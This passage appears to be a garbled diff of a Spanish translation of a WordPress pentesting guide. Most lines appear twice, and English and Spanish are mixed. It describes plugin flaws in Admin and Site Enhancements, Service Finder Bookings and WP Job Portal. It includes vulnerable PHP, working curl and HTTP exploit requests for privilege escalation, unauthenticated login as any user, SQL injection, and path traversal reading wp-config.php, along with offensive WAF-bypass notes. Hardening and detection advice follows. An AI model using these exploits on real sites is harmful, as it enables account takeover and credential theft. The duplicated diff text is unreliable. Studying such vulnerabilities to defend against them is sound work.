Un ejemplo real se encontró en el plugin Admin and Site Enhancements (ASE) (≤ 7.6.2.1). La rama de reset restauraba roles basándose en `reset-for=<username>` si el nombre de usuario aparecía en una matriz interna `$options['viewing_admin_as_role_are']`, pero no realizaba ni una comprobación `current_user_can()` ni una verificación de nonce antes de eliminar los roles actuales y volver a añadir los roles guardados en el user meta `_asenha_view_admin_as_original_roles`:
Un ejemplo real se encontró en el plugin Admin and Site Enhancements (ASE) (≤ 7.6.2.1). La rama de reset restauraba roles basándose en `reset-for=<username>` si el nombre de usuario aparecía en un array interno `$options['viewing_admin_as_role_are']`, pero no realizaba ni una comprobación `current_user_can()` ni una verificación de nonce antes de eliminar los roles actuales y volver a añadir los roles guardados desde user meta `_asenha_view_admin_as_original_roles`:
```php
// Simplified vulnerable pattern
if ( isset( $_REQUEST['reset-for'] ) ) {
@ -513,15 +513,15 @@ foreach ( $orig as $r ) { $u->add_role( $r ); }
```
Por qué es explotable
- Confía en `$_REQUEST['reset-for']` y una opción del plugin sin autorización del lado del servidor.
- Si un usuario previamente tuvo privilegios más altos guardados en `_asenha_view_admin_as_original_roles` y fue degradado, puede restaurarlos accediendo a la ruta de restablecimiento.
- En algunas implementaciones, cualquier usuario autenticado podría desencadenar un restablecimiento para otro nombre de usuario todavía presente en `viewing_admin_as_role_are` (autorización rota).
- Confía en `$_REQUEST['reset-for']` y en una opción del plugin sin autorización del lado del servidor.
- Si un usuario previamente tenía privilegios más altos guardados en `_asenha_view_admin_as_original_roles` y fue degradado, puede restaurarlos accediendo a la ruta de reset.
- En algunas implementaciones, cualquier usuario autenticado podría desencadenar un reset para otro nombre de usuario aún presente en `viewing_admin_as_role_are` (autorización rota).
Requisitos del ataque
- Versión del plugin vulnerable con la función activada.
- La cuenta objetivo tiene un rol de alto privilegio obsoleto almacenado en meta de usuario por un uso anterior.
- Cualquier sesión autenticada; falta nonce/capability en el flujo de restablecimiento.
- Versión vulnerable del plugin con la funcionalidad habilitada.
- La cuenta objetivo tiene un rol de alto privilegio obsoleto almacenado en user meta por uso anterior.
- Cualquier sesión autenticada; falta nonce/capability en el flujo de reset.
Explotación (ejemplo)
```bash
@ -531,57 +531,106 @@ Explotación (ejemplo)
curl -s -k -b 'wordpress_logged_in=...' \
'https://victim.example/wp-admin/?reset-for=<your_username>'
```
En versiones vulnerables esto elimina los roles actuales y vuelve a añadir los roles originales guardados (p. ej., `administrator`), escalando efectivamente los privilegios.
En compilaciones vulnerables, esto elimina los roles actuales y vuelve a añadir los roles originales guardados (p. ej., `administrator`), effectively escalating privileges.
Detection checklist
- Busca funciones de cambio de rol que persistan los "roles originales" en user meta (p. ej., `_asenha_view_admin_as_original_roles`).
- Identifica rutas de restablecimiento/restauración que:
- Leen nombres de usuario desde `$_REQUEST` / `$_GET` / `$_POST`.
- Modifican roles mediante `add_role()` / `remove_role()` sin `current_user_can()` y `wp_verify_nonce()` / `check_admin_referer()`.
- Autorizan basándose en un array de opciones del plugin (p. ej., `viewing_admin_as_role_are`) en lugar de en las capacidades del actor.
- Busca funcionalidades de cambio de rol que persistan “roles originales” en user meta (p. ej., `_asenha_view_admin_as_original_roles`).
- Identifica rutas de reinicio/restauración que:
- Leer nombres de usuario desde `$_REQUEST` / `$_GET` / `$_POST`.
- Modificar roles mediante `add_role()` / `remove_role()` sin `current_user_can()` y `wp_verify_nonce()` / `check_admin_referer()`.
- Autorizar basándose en un array de opciones del plugin (p. ej., `viewing_admin_as_role_are`) en lugar de en las capacidades del actor.
Hardening
- Forzar comprobaciones de capacidades en cada rama que cambie el estado (p. ej., `current_user_can('manage_options')` o más estricta).
- Exigir nonces para todas las mutaciones de roles/permisos y verificarlos mediante: `check_admin_referer()` / `wp_verify_nonce()`.
- Nunca confíes en nombres de usuario suministrados en la solicitud; resuelve el usuario objetivo del lado del servidor basándote en el actor autenticado y en la política explícita.
- Invalidar el estado de los "roles originales" en actualizaciones de perfil/rol para evitar la restauración obsoleta de privilegios altos:
- Aplicar comprobaciones de capacidades en cada rama que cambie estado (p. ej., `current_user_can('manage_options')` o más estrictas).
- Requerir nonces para todas las mutaciones de roles/permisos y verificarlas: `check_admin_referer()` / `wp_verify_nonce()`.
- No confiar en nombres de usuario suministrados por la solicitud; resolver el usuario objetivo en el servidor basándose en el actor autenticado y una política explícita.
- Invalidar el estado de “roles originales” en actualizaciones de perfil/rol para evitar restauraciones obsoletas de altos privilegios:
```php
add_action( 'profile_update', function( $user_id ) {
delete_user_meta( $user_id, '_asenha_view_admin_as_original_roles' );
}, 10, 1 );
```
- Considere almacenar un estado mínimo y usar tokens limitados en el tiempo, capability-guarded, para cambios temporales de rol.
- Considere almacenar un estado mínimo y usar tokens con tiempo limitado y protegidos por capacidades para cambios temporales de rol.
---
### Escalada de privilegios sin autenticar mediante cambio de usuario confiado por cookie en public init (Service Finder “sf-booking”)
Algunos plugins conectan helpers de cambio de usuario al hook público `init` y derivan la identidad de una cookie controlada por el cliente. Si el código llama a `wp_set_auth_cookie()` sin verificar autenticación, capacidades y un nonce válido, cualquier visitante no autenticado puede forzar el inicio de sesión como un ID de usuario arbitrario.
Patrón vulnerable típico (simplificado de Service Finder Bookings ≤ 6.1):
```php
function service_finder_submit_user_form(){
if ( isset($_GET['switch_user']) && is_numeric($_GET['switch_user']) ) {
$user_id = intval( sanitize_text_field($_GET['switch_user']) );
service_finder_switch_user($user_id);
}
if ( isset($_GET['switch_back']) ) {
service_finder_switch_back();
}
}
add_action('init', 'service_finder_submit_user_form');
function service_finder_switch_back() {
if ( isset($_COOKIE['original_user_id']) ) {
$uid = intval($_COOKIE['original_user_id']);
if ( get_userdata($uid) ) {
wp_set_current_user($uid);
wp_set_auth_cookie($uid); // 🔥 sets auth for attacker-chosen UID
do_action('wp_login', get_userdata($uid)->user_login, get_userdata($uid));
setcookie('original_user_id', '', time() - 3600, '/');
wp_redirect( admin_url('admin.php?page=candidates') );
exit;
}
wp_die('Original user not found.');
}
wp_die('No original user found to switch back to.');
}
```
Por qué es explotable
- El hook público `init` hace que el manejador sea accesible para usuarios no autenticados (no hay comprobación `is_user_logged_in()`).
- La identidad se deriva de una cookie modificable por el cliente (`original_user_id`).
- Una llamada directa a `wp_set_auth_cookie($uid)` inicia sesión al solicitante como ese usuario sin comprobaciones de capability/nonce.
Explotación (sin autenticación)
```http
GET /?switch_back=1 HTTP/1.1
Host: victim.example
Cookie: original_user_id=1
User-Agent: PoC
Connection: close
```
---
### Consideraciones de WAF para WordPress/plugin CVEs
Los WAFs genéricos de edge/servidor se ajustan a patrones amplios (SQLi, XSS, LFI). Muchas fallas de alto impacto en WordPress/plugins son errores de lógica/autenticación específicos de la aplicación que parecen tráfico benigno a menos que el motor entienda las rutas de WordPress y la semántica de los plugins.
Los WAFs genéricos de edge/servidor están afinados para patrones amplios (SQLi, XSS, LFI). Muchas vulnerabilidades de alto impacto en WordPress/plugin son fallos de lógica/auth específicos de la aplicación que parecen tráfico benigno a menos que el motor entienda las rutas de WordPress y la semántica del plugin.
Offensive notes
Notas ofensivas
- Target plugin-specific endpoints with clean payloads: `admin-ajax.php?action=...`, `wp-json/<namespace>/<route>`, custom file handlers, shortcodes.
- Exercise unauth paths first (AJAX `nopriv`, REST with permissive `permission_callback`, public shortcodes). Default payloads often succeed without obfuscation.
- Typical high-impact cases: privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect.
- Dirígete a endpoints específicos de plugin con payloads limpios: `admin-ajax.php?action=...`, `wp-json/<namespace>/<route>`, custom file handlers, shortcodes.
- Prueba primero las rutas unauth (AJAX `nopriv`, REST con permissive `permission_callback`, public shortcodes). Los payloads por defecto suelen funcionar sin ofuscación.
- Casos típicos de alto impacto: privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect.
Defensive notes
Notas defensivas
- Dont rely on generic WAF signatures to protect plugin CVEs. Implement application-layer, vulnerability-specific virtual patches or update quickly.
- Prefer positive-security checks in code (capabilities, nonces, strict input validation) over negative regex filters.
- No confíes en firmas genéricas de WAF para proteger CVEs de plugin. Implementa parches virtuales a nivel de aplicación, específicos para la vulnerabilidad, o actualiza rápidamente.
- Prefiere comprobaciones de seguridad de tipo positivo en el código (capabilities, nonces, strict input validation) sobre filtros regex negativos.
## Protección de WordPress
### Actualizaciones regulares
Asegúrese de que WordPress, plugins y themes estén actualizados. También confirme que la actualización automática esté habilitada en wp-config.php:
Asegúrate de que WordPress, plugins y themes estén actualizados. También confirma que la actualización automática esté habilitada en wp-config.php:
```bash
define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );
```
Además, **solo instala plugins y temas de WordPress de confianza**.
Además, **instala únicamente plugins y temas de WordPress confiables**.
### Plugins de seguridad
@ -593,14 +642,14 @@ Además, **solo instala plugins y temas de WordPress de confianza**.
- Elimina el usuario predeterminado **admin**
- Usa **contraseñas fuertes** y **2FA**
- Periódicamente **revisa** los **permisos** de los usuarios
- **Limita los intentos de inicio de sesión** para prevenir ataques Brute Force
- Revisa periódicamente los **permisos** de los usuarios
- **Limita los intentos de inicio de sesión** para prevenir ataques de Brute Force
- Renombra el archivo **`wp-admin.php`** y permite el acceso solo internamente o desde ciertas direcciones IP.
### Unauthenticated SQL Injection via insufficient validation (WP Job Portal <= 2.3.2)
### SQL Injection no autenticada mediante validación insuficiente (WP Job Portal <= 2.3.2)
El plugin de reclutamiento WP Job Portal expuso una tarea **savecategory** que finalmente ejecuta el siguiente código vulnerable dentro de `modules/category/model.php::validateFormData()`:
El plugin de reclutamiento WP Job Portal exponía una tarea **savecategory** que finalmente ejecuta el siguiente código vulnerable dentro de `modules/category/model.php::validateFormData()`:
```php
$category = WPJOBPORTALrequest::getVar('parentid');
$inquery = ' ';
@ -610,11 +659,11 @@ $inquery .= " WHERE parentid = $category "; // <-- direct concat ✗
$query = "SELECT max(ordering)+1 AS maxordering FROM "
. wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later
```
Problemas introducidos por este fragmento de código:
Problemas introducidos por este fragmento:
1. **Entrada de usuario no saneada** `parentid` proviene directamente de la petición HTTP.
2. **Concatenación de cadenas dentro de la cláusula WHERE** no `is_numeric()` / `esc_sql()` / prepared statement.
3. **Accesibilidad sin autenticación** aunque la acción se ejecuta a través de `admin-post.php`, la única verificación es un **CSRF nonce** (`wp_verify_nonce()`), que cualquier visitante puede obtener desde una página pública que incluya el shortcode `[wpjobportal_my_resumes]`.
1. **Unsanitised user input** `parentid` proviene directamente de la petición HTTP.
2. **String concatenation inside the WHERE clause** no `is_numeric()` / `esc_sql()` / prepared statement.
3. **Unauthenticated reachability** aunque la acción se ejecuta a través de `admin-post.php`, la única comprobación es un **CSRF nonce** (`wp_verify_nonce()`), que cualquier visitante puede recuperar desde una página pública que incruste el shortcode `[wpjobportal_my_resumes]`.
#### Explotación
@ -622,7 +671,7 @@ Problemas introducidos por este fragmento de código:
```bash
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
```
2. Inyectar SQL arbitraria abusando de `parentid`:
2. Inyectar SQL arbitrario abusando de `parentid`:
```bash
curl -X POST https://victim.com/wp-admin/admin-post.php \
-d 'task=savecategory' \
@ -630,18 +679,18 @@ curl -X POST https://victim.com/wp-admin/admin-post.php \
-d 'parentid=0 OR 1=1-- -' \
-d 'cat_title=pwn' -d 'id='
```
La respuesta revela el resultado de la consulta inyectada o altera la base de datos, demostrando un SQLi.
La respuesta revela el resultado de la consulta inyectada o modifica la base de datos, demostrando la SQLi.
### Descarga arbitraria de archivos sin autenticación / Path Traversal (WP Job Portal <= 2.3.2)
### Unauthenticated Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2)
Otra tarea, **downloadcustomfile**, permitía a los visitantes descargar **cualquier archivo en disco** mediante path traversal. El sink vulnerable está ubicado en `modules/customfield/model.php::downloadCustomUploadedFile()`:
Otra tarea, **downloadcustomfile**, permitía a los visitantes descargar **cualquier archivo en el disco** mediante path traversal. El sink vulnerable está ubicado en `modules/customfield/model.php::downloadCustomUploadedFile()`:
```php
$file = $path . '/' . $file_name;
...
echo $wp_filesystem->get_contents($file); // raw file output
```
`$file_name` está controlado por el atacante y concatenado **sin saneamiento**. Nuevamente, la única barrera es un **CSRF nonce** que puede obtenerse desde la página de currículum.
`$file_name` está controlado por el atacante y concatenado **sin sanitización**. De nuevo, la única barrera es un **CSRF nonce** que puede obtenerse desde la página del CV.
#### Explotación
```bash
@ -663,5 +712,7 @@ El servidor responde con el contenido de `wp-config.php`, leaking DB credentials
- [Hosting security tested: 87.8% of vulnerability exploits bypassed hosting defenses](https://patchstack.com/articles/hosting-security-tested-87-percent-of-vulnerability-exploits-bypassed-hosting-defenses/)
- [WooCommerce Payments ≤ 5.6.1 Unauth privilege escalation via trusted header (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/woocommerce-payments/vulnerability/wordpress-woocommerce-payments-plugin-5-6-1-unauthenticated-privilege-escalation-vulnerability)
- [Hackers exploiting critical WordPress WooCommerce Payments bug](https://www.bleepingcomputer.com/news/security/hackers-exploiting-critical-wordpress-woocommerce-payments-bug/)
- [Unpatched Privilege Escalation in Service Finder Bookings Plugin](https://patchstack.com/articles/unpatched-privilege-escalation-in-service-finder-bookings-plugin/)
- [Service Finder Bookings privilege escalation Patchstack DB entry](https://patchstack.com/database/wordpress/plugin/sf-booking/vulnerability/wordpress-service-finder-booking-6-0-privilege-escalation-vulnerability)
{{#include ../../banners/hacktricks-training.md}}